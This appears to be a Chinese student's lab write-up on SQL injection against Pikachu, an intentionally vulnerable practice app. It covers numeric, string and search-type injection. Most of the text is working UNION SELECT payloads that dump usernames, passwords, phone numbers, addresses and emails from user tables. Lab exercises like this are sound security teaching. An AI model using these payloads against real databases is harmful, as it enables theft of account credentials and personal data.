web实验三——pikachu之sql注入

(一)数字型注入

首先更改1项的值构造payload找到注入点,之后构造payload注出其他信息

 查表名

 查字段名

最终输入payload:

value="1 union select concat(id,'|',username,'|',password,'|',level),2 from users"

结果

(二)字符型注入

使用单引号跳出字符串,最后使用#注释掉多余sql语句,跳过前面查表名字段名的步骤,直接给出最后payload:

' union select id,concat(username,'|',pw,'|',sex,'|',phonenum,'|',address,'|',email) from member#

(三)搜索型注入

搜索型查询使用的是如下格式sql语句:

select username from user where username like '%{$username}%';

此时可将{$username}部分构造成payload:

a%' union select 1 from member#

此时执行的sql语句为:

select username from user where username like '%a%' union select 1 from member#%';

因此构造最后的payload:

a%' union select 1,id,concat(username,'|',pw,'|',sex,'|',phonenum,'|',address,'|',email) from member#

猜你喜欢

转载自www.cnblogs.com/p201721430024/p/12036732.html
今日推荐